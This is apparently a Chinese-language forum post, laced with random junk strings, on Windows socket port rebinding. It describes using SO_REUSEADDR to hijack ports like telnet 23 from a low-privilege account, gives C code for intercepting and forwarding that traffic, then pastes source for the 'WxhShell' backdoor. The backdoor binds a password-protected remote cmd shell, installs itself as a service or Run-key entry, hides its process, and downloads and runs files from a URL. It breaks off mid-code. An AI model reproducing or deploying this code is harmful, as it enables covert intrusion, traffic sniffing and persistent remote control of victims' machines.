在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
doG&qXw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&AW?!rH X/?3ifP6I saddr.sin_family = AF_INET;
L./UgeZ &cZD{Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
K%S k{' f F?=W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7[Y<5T] 8Y:bvs.j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C6GYhG] SwQb" 这意味着什么?意味着可以进行如下的攻击:
+&|WC2# zF{5!b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$"sf%{~ <jV_J+# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KnlVZn[3t Q|:\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mgS%YG GX\/2P7CZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
" 4s,a % nJ'r?+h 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
07CGHAxJ` U:ZklDW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
++xEMP) KVJiCdg- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9^`G `D D>05F,a #include
P\SE_*& #include
1h|JKu0 #include
8%Pjx7'< #include
zL1H[}[z+ DWORD WINAPI ClientThread(LPVOID lpParam);
2OEOb,` int main()
#qHo+M$" {
O GSJR`yT WORD wVersionRequested;
RzXxnx)]q DWORD ret;
X|X6^} WSADATA wsaData;
8eL[,uw BOOL val;
V"gnG](2l SOCKADDR_IN saddr;
>pr{)bp G SOCKADDR_IN scaddr;
xEGI'lt int err;
w+ bMDp SOCKET s;
]kR 93 SOCKET sc;
QO0T<V int caddsize;
BH\qm
(X HANDLE mt;
iugTXZ( DWORD tid;
Z?X
^7< wVersionRequested = MAKEWORD( 2, 2 );
-]HO8}-Rjs err = WSAStartup( wVersionRequested, &wsaData );
!<@Zf4m if ( err != 0 ) {
)t0t*xu# printf("error!WSAStartup failed!\n");
jRzR`>5 return -1;
eo"6 \3z }
l1a=r:WhH saddr.sin_family = AF_INET;
.hnGHX "h\{PoG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W%)
foJ R|Y)ow51 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Bx2E9/S3 saddr.sin_port = htons(23);
Q']:k}y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\3Ys8umKq {
Bm1yBKjO printf("error!socket failed!\n");
3Cq17A 9 return -1;
(',G
Ako }
;DBO val = TRUE;
{}[S,L //SO_REUSEADDR选项就是可以实现端口重绑定的
-_v[oqf$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ust>%~< {
P6dIU/w printf("error!setsockopt failed!\n");
h$y1"!N( return -1;
(:-=XR9A` }
DM"`If%3j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:U^a0s%B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4>gkXfTF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&H`yDrg6U yD(0:g# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qK#\k@E {
D O(FG-R ret=GetLastError();
yD$rls:v< printf("error!bind failed!\n");
"3W!p+W return -1;
UPA))Iv> }
E: L =>} listen(s,2);
=k'3rm*ld while(1)
aV,>y"S {
{])F%Q_#cD caddsize = sizeof(scaddr);
>?'cZTNk] //接受连接请求
tNoo3& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/EA4-#uw if(sc!=INVALID_SOCKET)
P.=&:ay7? {
R@u6mMX{N, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
jI[:` if(mt==NULL)
@?f3(Gh, {
[?yOJU%` printf("Thread Creat Failed!\n");
Xq1n1_Z break;
vH9/}w2 }
wqK>=Ri_ }
hT#[[md" CloseHandle(mt);
`fj(xrI }
mM&H;W closesocket(s);
8S&` WSACleanup();
JIQS'r return 0;
;XRLp:y }
|U>BXX P DWORD WINAPI ClientThread(LPVOID lpParam)
x?VX,9;j {
&S]\)&Yt SOCKET ss = (SOCKET)lpParam;
;a[56W SOCKET sc;
2(Vm0E unsigned char buf[4096];
!i2=zlpb[ SOCKADDR_IN saddr;
?yU|;my long num;
NyFa2Ihd DWORD val;
pg ;agtI DWORD ret;
S2@[F\|r //如果是隐藏端口应用的话,可以在此处加一些判断
TY],H= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Nj@k|_1 saddr.sin_family = AF_INET;
Q_x/e|sd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ke!)C[^7z saddr.sin_port = htons(23);
O
sbY}*S if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
25NZIal< {
fr4#<6, printf("error!socket failed!\n");
}b\e2ZK return -1;
GTyS8`5E* }
j|A *rzL8 val = 100;
mpIRe@#Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5M;fh)fT {
~6Vs>E4G ret = GetLastError();
b`usRoD{+ return -1;
50F6jj }
C7[_#1Oz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5rr7lwWZ {
1>[3(o3t ret = GetLastError();
x}?y@.sn8 return -1;
z;xp1t@ }
`_N8AA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;^^u _SuH {
&&\ h%-Jc printf("error!socket connect failed!\n");
DvKM[z3j closesocket(sc);
VrD?[&2pE closesocket(ss);
n{6XtIoYq return -1;
{Nuwz|Ci }
U"v(9m@
while(1)
kOmTji7 {
2G=Bav\n+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
NIY0f@1z- //如果是嗅探内容的话,可以再此处进行内容分析和记录
>2_BL5<S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
MS)# S& num = recv(ss,buf,4096,0);
J}Bg<[n if(num>0)
ka0T|$ u(s send(sc,buf,num,0);
3J7TWOJVw else if(num==0)
:_~UO^*h break;
{OL*E0 num = recv(sc,buf,4096,0);
u-=S_e if(num>0)
>k,bHGj? send(ss,buf,num,0);
#I'W[\l~+ else if(num==0)
`(vgBz`e[ break;
x}[/A;N }
|"8Az0[! closesocket(ss);
$W<H[k&(B closesocket(sc);
j7K9T return 0 ;
7[rn
,8@ }
UeIu
-[R "WdGY*r e#(0af8A ==========================================================
5)+(McJC AyB-+oTf( 下边附上一个代码,,WXhSHELL
/pan{.< k E3<jH ==========================================================
,B(UkPGT /J]Yj, #include "stdafx.h"
T;XEU%:LK *]nha1!S #include <stdio.h>
7L|w~l7R~ #include <string.h>
pk%I98! Jy #include <windows.h>
,%w_E[2 #include <winsock2.h>
@C k6s #include <winsvc.h>
OkGg4X|9 #include <urlmon.h>
8 k9(iS nyWA(%N1 #pragma comment (lib, "Ws2_32.lib")
qL091P\F #pragma comment (lib, "urlmon.lib")
DmEmv/N= &W:Wv,3 #define MAX_USER 100 // 最大客户端连接数
s-Q-1lKV, #define BUF_SOCK 200 // sock buffer
tSV}BM, #define KEY_BUFF 255 // 输入 buffer
,> A9OTSN\ TviC1 {2 #define REBOOT 0 // 重启
]:(>r&' #define SHUTDOWN 1 // 关机
:WIbjI= $~`a,[e< #define DEF_PORT 5000 // 监听端口
=24)`Lyb D|/Azy.[ #define REG_LEN 16 // 注册表键长度
A)Wp W M #define SVC_LEN 80 // NT服务名长度
2+M(!FHfy -l+&Bkf // 从dll定义API
R/R[r> 1)6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\[Op:^S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Vy.A`Hz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
gV1&b
(h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4-^|e
.'mmn5E // wxhshell配置信息
$)\%i = struct WSCFG {
X+)68 int ws_port; // 监听端口
jhjGDF char ws_passstr[REG_LEN]; // 口令
s\_-` [B0 int ws_autoins; // 安装标记, 1=yes 0=no
[wG?&l$.KB char ws_regname[REG_LEN]; // 注册表键名
tQ_;UQlX char ws_svcname[REG_LEN]; // 服务名
{:xINQ=}D char ws_svcdisp[SVC_LEN]; // 服务显示名
5\8Ig f> char ws_svcdesc[SVC_LEN]; // 服务描述信息
m8,P-m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Y$uXBTR`y/ int ws_downexe; // 下载执行标记, 1=yes 0=no
oe_l:Y% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
H$zjN8||" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(C*G)Aj7 LH@)((bi4v };
jv>l6) E@^`B9;Q7 // default Wxhshell configuration
yx"xbCc# struct WSCFG wscfg={DEF_PORT,
)28Jz6.I "xuhuanlingzhe",
osyY+)G'sV 1,
,LKY?=T$z "Wxhshell",
7r 07N' "Wxhshell",
?6+GE_VZ "WxhShell Service",
zB/$*Hd "Wrsky Windows CmdShell Service",
sJg-FVe2 "Please Input Your Password: ",
uy)iB'st& 1,
8fFURk "
http://www.wrsky.com/wxhshell.exe",
9_V'P]@ "Wxhshell.exe"
/s.sW l };
?1?D[7$ y;<^[ // 消息定义模块
XmXp0b7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$]|fjB#D char *msg_ws_prompt="\n\r? for help\n\r#>";
!31v@v:) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H>AQlO+ J
char *msg_ws_ext="\n\rExit.";
~j}di^<{ char *msg_ws_end="\n\rQuit.";
dy N`9 char *msg_ws_boot="\n\rReboot...";
\2 &)b char *msg_ws_poff="\n\rShutdown...";
6f,#O8]#5 char *msg_ws_down="\n\rSave to ";
u:&gp Yf&x]<rkCp char *msg_ws_err="\n\rErr!";
VFz(U)._ char *msg_ws_ok="\n\rOK!";
2#~5[PtP^ NlXHOUw)u char ExeFile[MAX_PATH];
x!fvSoHp int nUser = 0;
KywDp 37^ HANDLE handles[MAX_USER];
Ug*:o d int OsIsNt;
Os'
7h Rd|};- SERVICE_STATUS serviceStatus;
GV#"2{t
j SERVICE_STATUS_HANDLE hServiceStatusHandle;
jjL(=n<J<" EL$l .
v // 函数声明
b7Jk{x #u int Install(void);
o#gb+[ int Uninstall(void);
'qwFVP int DownloadFile(char *sURL, SOCKET wsh);
fC+<n{"C int Boot(int flag);
m-S4"!bl void HideProc(void);
eE5U|y)_ int GetOsVer(void);
fw kX-ON int Wxhshell(SOCKET wsl);
$HT
{}^B void TalkWithClient(void *cs);
e84[B. int CmdShell(SOCKET sock);
YA9Xe+g int StartFromService(void);
.vYU4g] int StartWxhshell(LPSTR lpCmdLine);
^+tAgK2
hz{=@jX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U">w3o| VOID WINAPI NTServiceHandler( DWORD fdwControl );
CM?dB$AwX <3zA| // 数据结构和表定义
+F$c_
\> SERVICE_TABLE_ENTRY DispatchTable[] =
n,}\;Bp {
E7@0,9AU {wscfg.ws_svcname, NTServiceMain},
lgFA}p@ {NULL, NULL}
{ \9vW; ' };
f#}P>,TP +LeZjA[ // 自我安装
@N,dA# int Install(void)
]+\;pb}bq {
PB00\&6H char svExeFile[MAX_PATH];
:S'P
lH HKEY key;
"_t2R &A strcpy(svExeFile,ExeFile);
Mu$9#[/ XoEiW R // 如果是win9x系统,修改注册表设为自启动
*m6~x-x if(!OsIsNt) {
Rl90uF]8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(4=NKtA^G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9gR@Q%b) RegCloseKey(key);
NwbB\Wl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z~)Bh~^A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B
3<T# RegCloseKey(key);
hvCX,^LoJ return 0;
hbdq'2!Qr }
5:v"^"S z }
':YFm }
O& k+;r else {
?
hU0S 5<h7+ %?t9 // 如果是NT以上系统,安装为系统服务
ovJwor SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7.7P>U if (schSCManager!=0)
}qU(G3 {
$'Z\'<k[ SC_HANDLE schService = CreateService
l?GN& u (
AX3iB1):K schSCManager,
!\w@b`Iv8 wscfg.ws_svcname,
#vCtH2 wscfg.ws_svcdisp,
:MPWf4K2s SERVICE_ALL_ACCESS,
<yzgZXxIaS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|^p7:)cy SERVICE_AUTO_START,
L5$r<t< SERVICE_ERROR_NORMAL,
ZdG?fWWA svExeFile,
?IRp3H NULL,
|35"V3bs NULL,
aoj6/ NULL,
w/+e NULL,
1}nrVn[B9 NULL
Ca}T)]// );
$j=c;+W if (schService!=0)
6\"g,f {
W2cgxT CloseServiceHandle(schService);
?/"Fwjau CloseServiceHandle(schSCManager);
_Bh-*e2k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_"Yi>.{] strcat(svExeFile,wscfg.ws_svcname);
+Y;/10p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a{*r^m'N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
FVw;`{ RegCloseKey(key);
g2Pa-}{ return 0;
sk*AlSlM }
j6x1JM }
n<RvL^T=
CloseServiceHandle(schSCManager);
m/}(dT; }
g=W1y }
$OEhdz&Fi Q'-g+aN return 1;
:: IAXGH) }
oAaUXkQE e(nT2E // 自我卸载
XIQfgrGZ int Uninstall(void)
BPRhGG|9j {
\/=w\Tj HKEY key;
%T9'dcM IJX75hE0g if(!OsIsNt) {
'Pk14`/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
es]S]}JV RegDeleteValue(key,wscfg.ws_regname);
o[<lTsw< RegCloseKey(key);
tx0`#x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9?M>Y?4 RegDeleteValue(key,wscfg.ws_regname);
.A 12Co RegCloseKey(key);
}EFMJ,NQ return 0;
^|Bpo( }
#a7 Wx} }
PEA<H0 }
^\|Hz\"* else {
D9.H<.|36 -<e8\ Z` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
TNgf96)
y if (schSCManager!=0)
"h.-qQGU% {
B,rpc\_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"p,TYjT?R if (schService!=0)
xnz(hz6 {
Th"0Cc) if(DeleteService(schService)!=0) {
)1de<# qM CloseServiceHandle(schService);
$:&?!>H CloseServiceHandle(schSCManager);
2@!Ou $W return 0;
A\Ax5eeL }
^)-* Ubzz CloseServiceHandle(schService);
P|M#S9^] }
v(Vm:oK, CloseServiceHandle(schSCManager);
.4I"[$?Q }
*hugQh]a }
8Ter]0M& 2oL~N*^C return 1;
B^8]quOH }
y9<]F6TT <$m=@@qg // 从指定url下载文件
HI+87f_Q int DownloadFile(char *sURL, SOCKET wsh)
c{7<z9U {
.Y@)3 HRESULT hr;
P?QVT;] char seps[]= "/";
a+wc"RQ
| char *token;
mC-'z char *file;
h7 uv0a~0 char myURL[MAX_PATH];
#f*,mY|> char myFILE[MAX_PATH];
XLG6f(B= F }vzZWe strcpy(myURL,sURL);
v-^7oai token=strtok(myURL,seps);
Gvo|uB# while(token!=NULL)
<|qh5Scp {
;;6e
t/8 file=token;
,Oqd4NS token=strtok(NULL,seps);
/K+GM8rtE }
L
p(6K }Z^r<-N GetCurrentDirectory(MAX_PATH,myFILE);
4[q'1N6- strcat(myFILE, "\\");
vsFRWpq strcat(myFILE, file);
{3V% send(wsh,myFILE,strlen(myFILE),0);
;0R|#9oX_ send(wsh,"...",3,0);
^LaOl+;S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f[S$Gu4- if(hr==S_OK)
CqF=5z:A return 0;
4VPJv>^ else
Y$tgz) return 1;
+A3Q$1F [xaglZ9HNo }
4KO2oIR kTCWyc // 系统电源模块
Kr;7~`$[ int Boot(int flag)
:#yjg1aej {
_1<zpHp HANDLE hToken;
G{4~{{tI TOKEN_PRIVILEGES tkp;
G/cE2nD _PI w""ssr if(OsIsNt) {
'Cc(}YY0C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K9-?7X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0u,OW tkp.PrivilegeCount = 1;
fe,A\W&8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$ U~3$*R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f;Cu@z{b if(flag==REBOOT) {
c=
f_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
SfHs,y6 return 0;
T(n<@Ac]V }
x+mfQcSD& else {
wF@mHv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.bwKG`F return 0;
d{~5tv- H }
i2h,=NHJh? }
>n`!S`)9{ else {
C^dnkuA if(flag==REBOOT) {
Gp<7i5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
k@,&'imx return 0;
K5oVB,z) }
m{~p(sQL else {
]GSs{'UhB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!'ylh8} return 0;
Ru1I,QvCj" }
U}r^M(
s! }
g{]C@,W uU7s4oJ| return 1;
h` 1{tu }
j|WuOZm\0 "q-,140_ // win9x进程隐藏模块
:tc]@0+ void HideProc(void)
qQL]3qP {
xe4F4FC' N[(ovr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
D$
>gAv if ( hKernel != NULL )
vCPiT2G {
hH=H/L_Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y093- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
- %ul9} . FreeLibrary(hKernel);
2N,<~L`FX' }
Cfz020u`g wUd6xR return;
EQ;,b4k?&g }
>:2B r(S d=q&UCC // 获取操作系统版本
Wq4>!| int GetOsVer(void)
(|(#W+l~
{
)^G&p[G OSVERSIONINFO winfo;
ev bqBb21b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W?*]'0 GetVersionEx(&winfo);
%B;e7
UJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#U46Au return 1;
FIB 9W@oao else
iMr Np return 0;
OZHQnvZ }
ws{2 0 L(a){<c // 客户端句柄模块
K#O8P+n5[ int Wxhshell(SOCKET wsl)
sQBl9E'!be {
yAge2m]<B SOCKET wsh;
rPk=9I struct sockaddr_in client;
|_=o0lf DWORD myID;
q- U/JC D"5u N0Z while(nUser<MAX_USER)
ac/=%om8u {
"R"7'sJMI int nSize=sizeof(client);
S\qYw(G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HJ&|&tT if(wsh==INVALID_SOCKET) return 1;
UR/lM,N; Rf&~7h'+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
U~,~ GU=X if(handles[nUser]==0)
ypoJ4EZ( closesocket(wsh);
,]OL[m else
dy4!
>zxF nUser++;
AWp{n }
t-xw=&!w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
n1X.]|6' QQ+? J~ return 0;
}d,iA FG }
^,Paih
2 Y#'?3 // 关闭 socket
*AO^oBeY void CloseIt(SOCKET wsh)
sCX 8 {
S{v [65 closesocket(wsh);
;ew3^i.du nUser--;
C+iIvRYC ExitThread(0);
F2;k 6M@ }
sC8C><y
8P wobln // 客户端请求句柄
d+5KHfkK void TalkWithClient(void *cs)
!y8/El {
l?+67cQLA XJ3 5Z+M SOCKET wsh=(SOCKET)cs;
$1Lm=2;U char pwd[SVC_LEN];
i7qG5U char cmd[KEY_BUFF];
mN_KAln char chr[1];
4t(V)1+ int i,j;
m=Z1DJG <f
l-P while (nUser < MAX_USER) {
`iX~cUQ w8|38m if(wscfg.ws_passstr) {
7=YjY)6r^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W9!EjXg //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2#sJ`pdQ //ZeroMemory(pwd,KEY_BUFF);
tgu}^TfKkg i=0;
sqAZjfy@ while(i<SVC_LEN) {
'.n0[2> Gw"H#9J}
T // 设置超时
~^U(G As fd_set FdRead;
4g}eqW struct timeval TimeOut;
;C1]gJZ, FD_ZERO(&FdRead);
w7.I0)MH FD_SET(wsh,&FdRead);
vOb=> TimeOut.tv_sec=8;
I8|7~jRB TimeOut.tv_usec=0;
>680}\S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S7tc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VEolyPcsg& JEF2fro:Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
K._tCB: pwd
=chr[0]; I}5#!s< {&
if(chr[0]==0xd || chr[0]==0xa) { J#tGQO
pwd=0; e8HGST`
break; %R%e0|a
} 8pc=Oor2Tv
i++; MGH(= w1
} _z:7Dj#
WU:~T.Su
// 如果是非法用户,关闭 socket [L.+N@M
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [4V{~`sF
} [25[c><:w"
?v]EXV3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HPGMR4=ANS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%ZtE
(#Vkk]-p
while(1) { :iWW2fY
PgNg1
ZeroMemory(cmd,KEY_BUFF); Ae&470
l_K=7\N
// 自动支持客户端 telnet标准 w1Z9@*C!
j=0; OT6uAm+\7_
while(j<KEY_BUFF) { k"*A@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BDW%cs
cmd[j]=chr[0]; I]HrtI
if(chr[0]==0xa || chr[0]==0xd) { WoP5[.G
cmd[j]=0; ^Ge3"^x1
break; -)biSU,
} 3$fzqFo
j++; 6#sd"JvtQ
} Zt3"4d4
_*d8:|qw
// 下载文件 o!q3+Pp;}
if(strstr(cmd,"http://")) { D4e*Wwk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U)Cv_qe
if(DownloadFile(cmd,wsh)) 9M3XHj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9#K,@X5 j
else w+QXSa_D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^_6.*Mvx
} Z=VAjJ;i[
else { Igowz7
K`|%-k+D
switch(cmd[0]) { UY@^KT]
9ihB;m'C)
// 帮助 #t.)4$
case '?': { JI TQ3UL:W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vrr&Ve
break; {Kn:>l$*7
} xign!=
// 安装 B@P +b*%
case 'i': { z8HOig?
if(Install()) ,>H(l$n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi26Dtk(h
else X?m"86L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V)[ta`9
break; V6opV&
} I[mlQmwsL.
// 卸载 }m!L2iK4qk
case 'r': { 3v~804kWB
if(Uninstall()) JmHEYPt0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/x%zmY;/U
else nE_g^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4
##*m
break; TqzL] 'NS+
} }$6;g-|HX
// 显示 wxhshell 所在路径 -4
~(*
case 'p': { TvV_Tz4e
char svExeFile[MAX_PATH]; yV;_ ]_EO
strcpy(svExeFile,"\n\r"); 60
D0z
strcat(svExeFile,ExeFile); $yd "bJK
send(wsh,svExeFile,strlen(svExeFile),0); ={HYwP;
break; S;pKL,d>r
} l~|x*JTq
// 重启 L'=mDb
case 'b': { 1}O&q6\"J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *fz]Q>2g a
if(Boot(REBOOT)) )U6-&-07
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~m*` UH
else { +M@,CbqD
closesocket(wsh); H0!W:cIS;l
ExitThread(0); ="~yD[S
} x4b.^5"`:
break; (jR7D"I
} "x;|li3;
// 关机 K) e;*D
case 'd': { {#-I;I:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^0 zWiX
if(Boot(SHUTDOWN)) BKd03s=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\\c=[#8-
else { 0keqtr
closesocket(wsh); 2P&KU%D)0s
ExitThread(0); J |$(O$hYy
} 2[^p6s[
break; :`Nh}Ka0
}
Zo=w8Hr
// 获取shell O,$
?Pj6
case 's': { bl/tl_.p00
CmdShell(wsh); y(^hlX6gQ
closesocket(wsh); Or {9?;G
ExitThread(0); #3fS_;G
break; 6),U(e%
} puv/+!q
// 退出
l,}^<P]
case 'x': { =g]Ln)jc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R
4= ~
CloseIt(wsh); Z@Tb3N/[
break; p#k>BHgnF
} ';HNQe?vT
// 离开 k15fy"+Ut
case 'q': { <i<[TPv";
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #CRAQ#:45(
closesocket(wsh); V_1'` F
WSACleanup(); zO@7V>2
exit(1); nnw5
!q_
break; pn5A6
#
} Mg7nv\6
} F.N4Q'2Z
} ZvQ~K(3
8y9`xRy
// 提示信息 Cob<N'.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #b^x! lR
} e!eUgD
} d]fo>[%Xr
Sj,>O:p
return; HU~,_m
} ap
5D6y+
~s$
jiA1
// shell模块句柄 JPsR7f
int CmdShell(SOCKET sock) IJ#G/<ZJZ
{ _^Ds[VAgA
STARTUPINFO si; (]Zyk,[
ZeroMemory(&si,sizeof(si)); { \r1A
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0=WZ 8|R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q!%C:b
PROCESS_INFORMATION ProcessInfo; {c#{dT
char cmdline[]="cmd"; z_gjC%(y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5.]eF$x2
return 0; e9F\U
} a>_Cxsb&`
|I0O|Zdv
// 自身启动模式 q? 9x0L
int StartFromService(void) RV%aFI )
{ :!fP~(R'm
typedef struct 49e~/YY
{ _0razNk
DWORD ExitStatus; o%~PWA*Qp
DWORD PebBaseAddress; TgDx3U[
DWORD AffinityMask; /:<.Cn>-
DWORD BasePriority; QH)uh"
ULONG UniqueProcessId; /4Df 'd
